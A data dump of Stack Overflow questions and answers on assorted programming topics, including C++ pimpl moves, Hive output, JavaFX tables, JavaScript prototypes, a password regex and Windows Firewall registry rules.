22047775	0	Move of class with pimpl won't compile <p>In the following example, how is it possible that ~CImpl is called correctly but when the class needs to be moved, the compiler says it has an incomplete type?</p> <p>If the declaration of Impl is moved to the header it works, my question is how come the destructor is called fine so it doesn't seem that the type is incomplete, but the problem appears when moving.</p> <p>file: C.hpp</p> <pre><code>#include &lt;memory&gt; class Impl; class C { public: C(); ~C(); C(C&amp;&amp;) = default; C&amp; operator=(C&amp;&amp;) = default; std::unique_ptr&lt;Impl&gt; p; }; </code></pre> <p>file C.cpp</p> <pre><code>#include "C.hpp" #include &lt;iostream&gt; using namespace std; class Impl { public: Impl() {} virtual ~Impl() = default; virtual void f() = 0; }; class CImpl: public Impl { public: ~CImpl() { cout &lt;&lt; "~CImpl()" &lt;&lt; endl; } void f() { cout &lt;&lt; "f()" &lt;&lt; endl; } }; C::C(): p(new CImpl()) {} C::~C() </code></pre> <p>file: main.cpp</p> <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include "C.hpp" using namespace std; int main(int argc, char *argv[]) { vector&lt;C&gt; vc; // this won't compile //vc.emplace_back(C()); C c; C c2 = move(c); // this won't compile } </code></pre> <p>Compiler output:</p> <pre><code>+ clang++ -std=c++11 -Wall -c C.cpp + clang++ -std=c++11 -Wall -c main.cpp In file included from main.cpp:3: In file included from ./C.hpp:1: In file included from /usr/bin/../lib/gcc/x86_64-linux-gnu/4.8/../../../../include/c++/4.8/memory:80: /usr/bin/../lib/gcc/x86_64-linux-gnu/4.8/../../../../include/c++/4.8/bits/unique_ptr.h:65:16: error: invalid application of 'sizeof' to an incomplete type 'Impl' static_assert(sizeof(_Tp)&gt;0, ^~~~~~~~~~~ /usr/bin/../lib/gcc/x86_64-linux-gnu/4.8/../../../../include/c++/4.8/bits/unique_ptr.h:184:4: note: in instantiation of member function 'std::default_delete&lt;Impl&gt;::operator()' requested here get_deleter()(__ptr); ^ ./C.hpp:12:5: note: in instantiation of member function 'std::unique_ptr&lt;Impl, std::default_delete&lt;Impl&gt; &gt;::~unique_ptr' requested here C(C&amp;&amp;) = default; ^ ./C.hpp:3:7: note: forward declaration of 'Impl' class Impl; ^ 1 error generated. </code></pre>
37657907	0	 <p>You can get the hashtable as javascript object with this snippet:</p> <pre><code>&lt;script type="text/javascript"&gt; var hashtable = @Html.Raw(Json.Encode(Model.YourHashtable) &lt;/script&gt; </code></pre> <p>After that you will be able to access your data by value:</p> <pre><code>hashtable["sample"] </code></pre>
34413478	0	 <p>FlipView is a Windows Store/Universal App only class.</p> <p>The page you link to clearly states:</p> <blockquote> <p>Requirements (Windows 10 device family)</p> <p><strong>Device family</strong> Universal</p> </blockquote> <p>and</p> <blockquote> <p>Requirements (Windows 8.x and Windows Phone 8.x)</p> <p><strong>Minimum supported client</strong> Windows 8 [Windows Store apps only]</p> </blockquote> <p>If you want to have the same functionality in a WPF desktop application you will need to either find a third party control that does the same or write your own.</p>
25505286	0	Hive : How to execute a query from a file and dump the output in hdfs <p>I can execute a query from a sql file and store the output in a local file using </p> <pre><code>hive -f /home/Prashasti/test.sql &gt; /home/Prashasti/output.csv </code></pre> <p>Also, I can store the output of a hive query in hdfs using :</p> <pre><code>insert overwrite directory 'user/output' select * from folders; </code></pre> <p>Is there any way I can run the query from a sql file and store the output in hdfs too?</p>
9979233	0	Could I export class names and package names into csv file? (java) <p>I have one java project in netBeans. There are some packages, and classes in that packages. Can I export this structure to csv?</p> <p>Example of csv:</p> <p>myPackage1,MyClass1;</p> <p>myPackage1,MyClass2;</p> <p>I would be more pleased if I can put parameters in constructors or voids into that csv.</p> <p>Thank you for ideas.</p> <p>EDIT: If there are applications that are able to do reverse engineering to class diagram, there must be some easy way how to do it.</p>
31531967	0	 <p>Found the answer and put it here for reference.</p> <p>My requestFocus() action on the JTable did indeed leave selection on the right row, but without any selection of the (single) column. Even when running as normal (not testing) the JTable column did not initially respond to F2. It was puzzling to me why the cell was not initially surrounded by a heavy black border. The answer was therefore to put this line after the requestFocus line:</p> <pre><code>dates_table.setColumnSelectionInterval( 0, 0 ) </code></pre>
18424940	0	malloc:what can "corrupt" allocated memory in Linux/Qt application (threads involved)? <p><em>Dirty hacks at 05:00 AM. I have sinned, SO</em>, by passing pointer's address between same process's threads with FIFO:</p> <pre><code>total_buf = (char*)malloc(msize); // ... long addr = (long)&amp;total_buf; // ... write(fifo, buf, 128); </code></pre> <p>After receiving pointer to total_buf in receiver thread, <code>void* pt = (void*)addr;char* tbuf = (char*)pt;</code> I noticed that buffer content changed, and that was clearly confirmed by examining memory content: <code>(gdb) x/1024xb tbuf</code>.</p> <p>What are possible reasons for this to happen - in a context of multithreaded Qt+pure pthreads application's plugins trying to communicate directly? For some reason, I feel it's not some obvious garbage collection and afair, Linux threads are using shared process memory, so it's no address mismatch, and the pointer dereference looks alright too,.</p>
30140741	0	 <p>Do we really need to convert?</p> <pre><code>SELECT * FROM DBO.CUSTOMER WHERE CAST([date] AS DATE) &gt;= '01/12/2014' AND CAST([date] AS DATE) &lt;= '31/12/2014' </code></pre>
12451996	0	 <p>I'd have the entire content in an <code>article</code>, with each book in a <code>section</code>. </p> <p>This would make it extremely consistent with the third <a href="http://www.w3.org/TR/html5/the-section-element.html#the-section-element" rel="nofollow">section example given by the W3C</a> </p>
30748306	0	How to edit the link of a variable in opencart register.tpl file? <p>Here is the code of register.tpl file. The variable is called and this $action variable called the account/login.php file how to I can change the link of $action variable.</p> <pre><code>&lt;form action="&lt;?php echo $action; ?&gt;" method="post" enctype="multipart/form-data"&gt; &lt;h2&gt;&lt;?php echo $text_your_details; ?&gt;&lt;/h2&gt; &lt;div class="content"&gt; &lt;table class="form"&gt; &lt;tr&gt; &lt;td&gt;&lt;span class="required"&gt;*&lt;/span&gt; &lt;?php echo $entry_firstname; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="firstname" value="&lt;?php echo $firstname; ?&gt;" /&gt; &lt;?php if ($error_firstname) { ?&gt; &lt;span class="error"&gt;&lt;?php echo $error_firstname; ?&gt;&lt;/span&gt; &lt;?php } ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span class="required"&gt;*&lt;/span&gt; &lt;?php echo $entry_lastname; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="lastname" value="&lt;?php echo $lastname; ?&gt;" /&gt; &lt;?php if ($error_lastname) { ?&gt; &lt;span class="error"&gt;&lt;?php echo $error_lastname; ?&gt;&lt;/span&gt; &lt;?php } ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span class="required"&gt;*&lt;/span&gt; &lt;?php echo $entry_email; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="email" value="&lt;?php echo $email; ?&gt;" /&gt; &lt;?php if ($error_email) { ?&gt; &lt;span class="error"&gt;&lt;?php echo $error_email; ?&gt;&lt;/span&gt; &lt;?php } ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span class="required"&gt;*&lt;/span&gt; &lt;?php echo $entry_telephone; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="telephone" value="&lt;?php echo $telephone; ?&gt;" /&gt; &lt;?php if ($error_telephone) { ?&gt; &lt;span class="error"&gt;&lt;?php echo $error_telephone; ?&gt;&lt;/span&gt; &lt;?php } ?&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>
28335868	0	 <p><strong>Short answer:</strong> none, but you may feel like it is taking a few milliseconds depending on your processor speed and the amount of things angular need to check before it updates the HTML</p> <p><strong>Long answer:</strong> As soon as you update the model (well, at the end of the current javascript context), Angular will execute a digest cycle on which it will process all the $watchers (in this case <code>{{text}}</code> is a watcher over the <code>text</code> property). If a watcher has a different value than last time, it will run a new digest cycle, and so on, until all watchers are stable. Then it will process the HTML and updates all value, before the browser finally render the view. Hence from a "machine" point of view, it is immediate as in the same execution context: your browser will not render anything in between.</p> <p>Now if your code is asynchronous (like a call to some server), that "immediaticity" I have been talking about starts from the latest call to <code>$scope.$apply</code></p>
12781125	0	 <p>It looks like you are trying to make a pretty generic search stored procedure with paging. These are difficult to implement properly in t-sql only, and can become maintenance headaches down the road due to the branching logic, or additional supporting stored procedures you need to add...</p> <p>I would start to look at other options outside of a pure sql approach. Using an orm, or micro orm could help a lot. Actually, take a look at what Sam Saffron came up with...</p> <p><a href="http://samsaffron.com/archive/2011/09/05/Digging+ourselves+out+of+the+mess+Linq-2-SQL+created" rel="nofollow">http://samsaffron.com/archive/2011/09/05/Digging+ourselves+out+of+the+mess+Linq-2-SQL+created</a></p>
7627649	0	 <p><a href="https://github.com/dwelch67" rel="nofollow">https://github.com/dwelch67</a></p> <p>I have a number of lpc based examples. You are looking for the IODIR register, depending on the port and flavor of LPC, there are now what they call fast I/O registers. a one in a bit location means that pin is an output, a zero an input.</p>
8664952	0	 <p>Apache, mod_rewrite would be much better for this.</p>
31803222	1	Getting json data from imgur.com <p>I was trying to get json data from imgur.com</p> <p>To get it one has to hit this link : </p> <pre><code>http://imgur.com/user/{Username}/index/newest/page/{pagecount}/hit.json?scrolling </code></pre> <p>Where Username and pagecount may change. So i did something like this :</p> <pre><code>import urllib2, json Username="Tighe" count = 0 url = "http://imgur.com/user/"+arg+"/index/newest/page/"+str(count)+"/hit.json?scrolling" print("URL " +url) response = urllib2.urlopen(url) data = response.read() </code></pre> <p>I get the data but now to convert it to json format I did something like this : </p> <pre><code>jsonData = json.loads(data) </code></pre> <p>Now , it give error</p> <pre><code>Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "imgur_battle.py", line 8, in battle response = urllib2.urlopen(url) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 127, in urlopen return _opener.open(url, data, timeout) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 404, in open response = self._open(req, data) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 422, in _open '_open', req) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 382, in _call_chain result = func(*args) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1214, in http_open return self.do_open(httplib.HTTPConnection, req) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1187, in do_open r = h.getresponse(buffering=True) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1045, in getresponse response.begin() File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 409, in begin version, status, reason = self._read_status() File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 373, in _read_status raise BadStatusLine(line) httplib.BadStatusLine: '' </code></pre>
22102142	0	 <pre><code> $(document).ready(function(){ $('input[name=subdomain]').keyup(subdomain_check); $('input[name=password]').keyup(password_strenght); $('input[name=c_password]').keyup(password_check); $('input[name=email]').keyup(email_check); function subdomain_check (e) { // these functions should set a global variable to false if validation fails } function password_strenght (e) { // these functions should set a global variable to false if validation fails } function password_check (e) { // these functions should set a global variable to false if validation fails } function email_check (e) { // these functions should set a global variable to false if validation fails } $(document).submit(function(e){ return global_var; // where global_var is the variable set by the validating functions } }); </code></pre>
30752451	0	 <p>The javascript in nodejs is single threaded. It works off an event queue where an event is popped off the queue, some callback is called to serve that event and the code behind that callback runs to completion, then the next event is pulled off the event queue and the process is repeated.</p> <p>As such, there is no real "background processing". If your JS thread is executing, then nothing else can run at that time until that JS thread finishes and allows the next event in the event queue to be processed.</p> <p>To truly run something else in parallel where both your task and other nodejs code can literally run at the same time, you would have to create a new process and let the new process carry out your task. This new process could be any type of process (some pre-built program running a task or another custom nodejs process).</p> <p>"Running in the background" can sometimes be simulated by time slicing your "background" process work such that it does small amounts of work on timer ticks and the pauses between timer ticks allow other nodejs JS events to be processed and their code to run. But, to do this type of simulated "background", you have to write your task to execute in small chunks. It's a different (and often more cumbersome) way of writing code.</p>
5782559	0	 <p>If what you mean is to run the html in a browser inside the app that LOOKS LIKE Safari, you can use a UIWebView and call </p> <pre><code> loadHTMLString:baseURL </code></pre> <p>You can create your file URL like this:</p> <pre><code> NSURL *myFileURL = [NSURL fileURLWithPath: pathToMyFile]; </code></pre> <p>But like everyone else says, you can't access an app's file from any other app (without jailbreaking).</p>
33837384	0	 <p>Use one of these: </p> <pre><code>match += request + "\r\n"; </code></pre> <p>Use an string literal:</p> <pre><code>match += request + @" "; </code></pre> <p>OR only at runtime will this resolve:</p> <pre><code>match += request + System.Environment.NewLine; </code></pre> <p>On Unix <code>"\n"</code></p>
11364896	0	JavaFX 2 multispan cell table like MS Excel <p>I hope someone will be able to help to resolve my problem. I need the table like MS Excel with a fast scrolling. I use JavaFX 2 and can't find any example or solution. There are several examples on Swing, but I really need JavaFX 2. I've already tested TableView, GridPane but they work very slow with huge amount of data.</p> <pre><code> package test import javafx.stage.Stage import javafx.scene.{Group, Scene} import javafx.scene.control.cell.PropertyValueFactory import javafx.collections.{FXCollections} import javafx.application.Application import javafx.util.Callback import javafx.scene.control._ import javafx.scene.layout.{GridPane} class TableTest extends Application { override def start(stage: Stage) = { val root = new Group val scene = new Scene(root, 1000, 700) val table = new TableView[Data] table.setPrefWidth(1000) table.setPrefHeight(700) val data = FXCollections.observableArrayList[Data] for(i &lt;- 0 until 100) data.add(new Data) for(j &lt;- 0 until 100) table.getColumns().add(createTextColumn(j.toString)) table.setItems(data) root.getChildren().add(table) stage.setTitle("Table View Test JavaFX &amp; Scala") stage.setWidth(1024) stage.setHeight(768) stage.setScene(scene) stage.show } def createTextColumn(index:String):TableColumn[Data, AnyRef] = { val activeCol = new TableColumn[Data, AnyRef](index) activeCol.setPrefWidth(128) activeCol.setCellValueFactory(new PropertyValueFactory[Data, AnyRef]("text")) val call = new Callback[TableColumn[Data, AnyRef], TableCell[Data, AnyRef]] { override def call(p1: TableColumn[Data, AnyRef]) : TableCell[Data, AnyRef] = { new TableCell[Data, AnyRef] { val grid = new GridPane val label = new Label grid.add(label, 0, 0) setGraphic(grid) override def updateItem(value: AnyRef, empty: Boolean) = { val row = getTableRow if (row != null &amp;&amp; value != null) { label.setText(value.toString) } } } } } activeCol.setCellFactory(call) return activeCol } } package test import javafx.beans.property.{SimpleLongProperty, SimpleStringProperty} class Data { val text = new SimpleStringProperty("Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean sit amet velit leo, in sodales lorem. Donec vel nisl tellus sed. ") def textProperty = text def getText : String = text.get def setText(value: String) = text.set(value) } </code></pre> <p>I tested this code with Data class with only one string (128 bytes). But really it should be more than now. So, the question is: can I get something like MS Excel table with the same functionallity using JavaFX 2? P.S.: I also tested this code with pure Java but got the same result :(</p>
19552062	0	 <p>You can try this regex:</p> <pre><code>^(?=.*?[a-zA-Z])(?=.*?[0-9])[\w@#$%^?~-]{5,30}$ </code></pre> <h3>Live Demo &amp; Examples: <a href="http://www.rubular.com/r/EXHHCoq0WC" rel="nofollow">http://www.rubular.com/r/EXHHCoq0WC</a></h3> <p><strong>Explanation:</strong></p> <ul> <li><code>^</code> is line start</li> <li><code>(?=.*?[a-zA-Z])</code> is a positive lookahead that will make sure there is atleast one alphabet</li> <li><code>(?=.*?[0-9])</code> is a positive lookahead that will make sure there is atleast one digit</li> <li><code>[\w@#$%^?~-]{5,30}</code> is using character class for 5 to 30 characters specified inside square brackets</li> <li><code>$</code> is line end</li> </ul> <h3>Lookaround Reference: <a href="http://www.regular-expressions.info/lookaround.html" rel="nofollow">www.regular-expressions.info/lookaround.html</a></h3>
7350480	0	Understanding a negative offset of a registry data reference to a dll file <p>I almost have an answer to <a href="http://stackoverflow.com/questions/7337343/windows-7-firewall-modify-group-items-from-command-line">my last question</a>, but I need help.</p> <p>The Windows Firewall Rules (Vista and up) are stored in the Registry <code>HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules</code></p> <p>Example rule: <code>v2.0|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Domain|RPort=5722|App=%SystemRoot%\system32\dfsr.exe|Svc=Dfsr|Name=@FirewallAPI.dll,-32257|Desc=@FirewallAPI.dll,-32260|EmbedCtxt=@FirewallAPI.dll,-32252|Edge=FALSE|</code></p> <p>The field I need to decode is <code>EmbedCtxt=@FirewallAPI.dll,-32252</code></p> <p>I think it references <code>C:\WINDOWS\System32\FirewallAPI.dll</code>, but I can't figure out how the number works. The file is ~400KB depending.</p> <p>I tried a few variations like pretending it was an unsigned <code>short</code>, pretending it was not negative, pretending it was offset from the end, but they did not look right when I arrived at the location with my hex editor.</p> <p>Could somebody give me their ideas? What this number might mean? I hardly know anything about DLL files. It could even be a section number for all I know.</p> <p>I also tried searching the text for the expected output, but it seems it is neither byte per character, nor is it UTF-16, either that or I am doing something wrong.</p>
1964757	0	Using performSelectorInBackground to load UITableViewCell image in background, performance <p>I have a method for loading images for UITableViewCell in the background. I use performSelectorInBackground. The problem is these threads are finishing and loading images even though they may not be on the screen anymore. This can be taxing on resources, especially when the use scrolls quickly and lots of cells are created. The images are fairly small and being loaded from the disk (sqlite db), not from a URL.</p> <p>I've put code in the cell to check to see if it's the most recently displayed cell and I don't load the image if it's not. This works, but it's still creating the threads even though the "expensive" work of loading the image from disk isn't being executed unless it's the most recent cell.</p> <p>The question is, what's the best way to deal with this? Should I kill existing threads each time the UITableViewCell is reused? How do I go about killing threads invoked by performSelectorInBackground?</p> <p>Any other suggestions on how to handle this are appreciated.</p>
37841584	0	Invalid Objects and What issue they can cause in application? <p>I just wanted to know about some invalid objects which are from Oracle ebs 12.1.3. The list is </p> <ol> <li>CST_LAYER_ACTUAL_COST_DTLS_V </li> <li>IGW_BUDGET_CATEGORY_V</li> <li>IGW_REPORT_PROCESSING </li> <li>FV_FACTS_TBAL_TRX</li> <li>FV_FACTS_TRX_REGISTER</li> <li>FV_SF133_ONEYEAR</li> <li>FV_SF133_NOYEAR</li> <li>FV_FACTS_TRANSACTIONS</li> <li>FV_FACTS_TBAL_TRANSACTIONS</li> <li>ENI_DBI_CO_OBJIDS_MV</li> <li>PJI_TIME_PA_RPT_STR_MV</li> <li>POA_MID_BS_J_MV</li> <li>POA_IDL_BS_J_MV</li> <li>POA_ITEMS_MV</li> <li>GL_ACCESS_SET_LEDGERS</li> <li>LNS_LOAN_DTLS_ALL_MV</li> <li>OZF_CUST_FUND_SUMMARY_MV</li> <li>FV_SLA_FV_PROCESSING_PKG</li> <li>OE_ITEMS_MV</li> <li>PA_DEDUCTIONS_W</li> <li>PA_DEDUCTIONS_PUB</li> <li>PA_DEDUCTIONS_PUB</li> <li>PA_DEDUCTIONS_W</li> <li>PA_DCTN_APRV_NOTIFICATION</li> </ol> <p>--object types--</p> <pre><code>CST_LAYER_ACTUAL_COST_DTLS_V VIEW IGW_BUDGET_CATEGORY_V VIEW IGW_REPORT_PROCESSING PACKAGE BODY FV_FACTS_TBAL_TRX PACKAGE BODY FV_FACTS_TRX_REGISTER PACKAGE BODY FV_SF133_ONEYEAR PACKAGE BODY FV_SF133_NOYEAR PACKAGE BODY FV_FACTS_TRANSACTIONS PACKAGE BODY FV_FACTS_TBAL_TRANSACTIONS PACKAGE BODY ENI_DBI_CO_OBJIDS_MV MATERIALIZED VIEW PJI_TIME_PA_RPT_STR_MV MATERIALIZED VIEW POA_MID_BS_J_MV MATERIALIZED VIEW POA_IDL_BS_J_MV MATERIALIZED VIEW POA_ITEMS_MV MATERIALIZED VIEW GL_ACCESS_SET_LEDGERS MATERIALIZED VIEW LNS_LOAN_DTLS_ALL_MV MATERIALIZED VIEW OZF_CUST_FUND_SUMMARY_MV MATERIALIZED VIEW FV_SLA_FV_PROCESSING_PKG PACKAGE BODY NIB_MV_TB MATERIALIZED VIEW OE_ITEMS_MV MATERIALIZED VIEW PA_DEDUCTIONS_W PACKAGE PA_DEDUCTIONS_PUB PACKAGE PA_DEDUCTIONS_PUB PACKAGE BODY PA_DEDUCTIONS_W PACKAGE BODY PA_DCTN_APRV_NOTIFICATION PACKAGE BODY </code></pre> <p>So I wanted to know that If I keep them invalid what problem they can cause?</p> <p>Steps I took to know myself:-</p> <p>I have searched over Oracle support and google by object name but the only thing i get there is patch no to resolve the issue or in some case that ignore these objects they will do nothing.</p> <p>If anyone have information about these object and what problem they can cause in application. Please do share.</p> <p>Thanks in Advance!!!</p>
34912480	0	 <p>if you are using XAMPP then first ("stop") MySQL Then go to C:\xampp\mysql\data\dnb where in my case dnb is my database name folder. so then open it and delete .ibd file hence you can only delete it when you already stop MYsql . then go to phpmyadmin 1 click on phpmyadmin . 2 click on databases that appear below (server.127.0.0.1 in your case my be change) 3 then check your database which you want to drop,and click on drop. 4 then you can create database with same name and import your database successfully .<a href="http://i.stack.imgur.com/kd9Rx.png" rel="nofollow">here you can see how you drop database from phpmyadmin</a></p>
11865844	0	 <p>even if your app is in paused/stopped state, log cat will still be working as long as device is connected. make sure you selected all logs options in windows > devices > all logs instead of windows > devices > com.your.project . so when you will try to relaunch crash must be recorded in logCat</p> <p>if still have any issue, install logcat app from market and refer it for logs.</p>
3707600	0	 <p>Don't. Pass the PersistenceManager to your class as part of the context, instead. Relying on statics or globals is usually a bad idea, especially in a multithreaded environment like a Java servlet.</p>
17881937	0	 <p><strong>Javascript dont have classes</strong></p> <p>But you can systemise your code.Javascript inheritance is totally different from that of othe oop languages.</p> <p>Here,We use prototypes and constructors.</p> <p>*<em>prototype==></em>*In simple words,I am used for extension purpose</p> <p>*<em>constructors==></em>*I am used for creating multiple instances.Any function can be used as a constructor by using the new keyword.</p> <p>Just sample codes for understanding.</p> <p><strong>SAMPLE 1:BY USING OBJECT LITERAL</strong></p> <pre><code>var Myobject = { Function_one: function() { //some code Myobject.function_three(); }, Function_two: function() { //some code Myobject.function_three();//lets say i want to execute a functin in my object ,i do it this way... }, Function_three: function() { //some code } }; window.onload = Myobject.Function_one //this is how you call a function which is in an object </code></pre> <p><strong>SAMPLE 2:BY USING PROTOTYPE</strong> </p> <pre><code>function function_declareVariable() { this.a= 10; //i declare all my variable inside this function this.b= 20; } function_declareVariable.prototype.Function_one = function() { //some code Myobject.Function_three(); }; function_declareVariable.prototype.Function_two = function() { Myobject.Function_three(); }; function_declareVariable.prototype.Function_three = function() { alert(Myobject.a or Myobject.b) //some code }; var Myobject = new function_declareVariable();//this is how i instantiate </code></pre> <p><a href="http://stackoverflow.com/questions/16835451/javascript-prototypes-objects-constructori-am-confused">REFER 1:what are constructors ,prototypes</a></p> <p><a href="http://stackoverflow.com/questions/12201082/prototypal-inheritance-concept-in-javascript-as-a-prototype-based-language">REFER 2:prototypal inheritance</a></p>
13210944	0	 <p>Try something like this. It simply appends to the list instead of directly stating an index point. If you need to specify an index point, that is what dictionaries are for, so you should be using that instead of an array.</p> <pre><code>var aMainNav = ['b1', 'b2', 'b3']; var i = 0; while(i &lt; aMainNav.length){ var j = ++i; var item = $('.mainNav li:nth-child('+j+')')); aMainNav.push(item); i++; } </code></pre>
34678230	0	 <p><strong>ROUTES</strong></p> <p>replace this </p> <pre><code>match "/users?q=" =&gt; "users#show", :via =&gt; [:get] </code></pre> <p>to this</p> <pre><code>get "users" =&gt; "users#show" get "users/:q" =&gt; "users#show" </code></pre> <p>and</p> <p><strong>CONTROLLER</strong></p> <pre><code>def set_user @user ||= EvercamUser.find(:all, :conditions =&gt; ["id = ? or email = ?", params[:q], params[:q]]) end </code></pre>
25217360	0	 Grooveshark is an online music streaming service with search engine and recommendation application.
22852207	0	Javascript show div when button is clicked <p>I realize that this is a common question and I have searched for solutions and the one that I'm trying to use (it works in jsfiddle) but when I tried to use it in my website it just won't work. I'm trying to show a div when a button is clicked. Am I doing something wrong? Maybe there's something wrong with the javascript? Or could it be I need to include a jquery js file? Thanks for your help in advance.</p> <p>Here is the code I'm trying to use:</p> <pre><code>&lt;script type="text/javascript"&gt; $("#seeAnswer").click(function() { $('#subtext').html($(this).next().html()); }); &lt;/script&gt; </code></pre> <p>And I'm trying to use it with this:</p> <pre><code>&lt;div class="back_button"&gt; &lt;button id="seeAnswer"&gt;See Answer&lt;/button&gt; &lt;/div&gt; &lt;span&gt; &lt;?php /* foreach($row2 as $ans) { $answer = $ans['answer']; } echo $answer; echo "hi"; */ ?&gt; &lt;?php foreach ($row2 as $ans) : ?&gt; &lt;p&gt;&lt;?php htmlspecialchars($ans['answer']) ?&gt;&lt;/p&gt; &lt;?php endforeach ?&gt; &lt;p&gt;hi there&lt;/p&gt; &lt;/span&gt; &lt;div id="subtext"&gt; &lt;/div&gt; </code></pre>
20173971	0	 <p>Try to write simple programs first. The more you write code, the better you understand it. No one can learn programming just by reading books or written codes. Programming looks hard at first but eventually it becomes a second nature. Never memorize code. Nothing good ever comes out of it. Just understand what a particular class do and IDe will help you in writing methods and properties. Almost any IDE these days has an Auto-complete feature. Don't fret by the amount of code you see in an application. Lots of them are generated automatically by game engine, though you should understand what they mean and do. To give an example this is the source code of a simple converter application I made. You can see how much code is here but with Netbeans IDE I have just written two lines of that, all other are auto generated.</p> <pre><code>/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package Home; /** * * @author Windows8 */ public class CelsiusConverterGUI extends javax.swing.JFrame { /** * Creates new form CelsiusConverterGUI */ public CelsiusConverterGUI() { initComponents(); } /** * This method is called from within the constructor to initialize the form. * WARNING: Do NOT modify this code. The content of this method is always * regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // &lt;editor-fold defaultstate="collapsed" desc="Generated Code"&gt; private void initComponents() { tempTextField = new javax.swing.JTextField(); celsiusLabel = new javax.swing.JLabel(); convertButton = new javax.swing.JButton(); fahrenheitLabel = new javax.swing.JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setTitle("Celsius Converter"); celsiusLabel.setText("Celsius"); convertButton.setText("Convert"); convertButton.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { convertButtonActionPerformed(evt); } }); fahrenheitLabel.setText("Fahrenheit"); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addComponent(tempTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(celsiusLabel)) .addGroup(layout.createSequentialGroup() .addComponent(convertButton) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(fahrenheitLabel))) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {convertButton, tempTextField}); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(tempTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(celsiusLabel)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(convertButton) .addComponent(fahrenheitLabel)) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); pack(); }// &lt;/editor-fold&gt; private void convertButtonActionPerformed(java.awt.event.ActionEvent evt) { // TODO add your handling code here: //Parse the celsius input into double int tmpFah = (int) ((Double.parseDouble(tempTextField.getText())) * 1.8 + 32); fahrenheitLabel.setText(tmpFah + " Fahrenheit"); } /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //&lt;editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "&gt; /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(CelsiusConverterGUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(CelsiusConverterGUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(CelsiusConverterGUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(CelsiusConverterGUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //&lt;/editor-fold&gt; /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new CelsiusConverterGUI().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JLabel celsiusLabel; private javax.swing.JButton convertButton; private javax.swing.JLabel fahrenheitLabel; private javax.swing.JTextField tempTextField; // End of variables declaration } </code></pre>
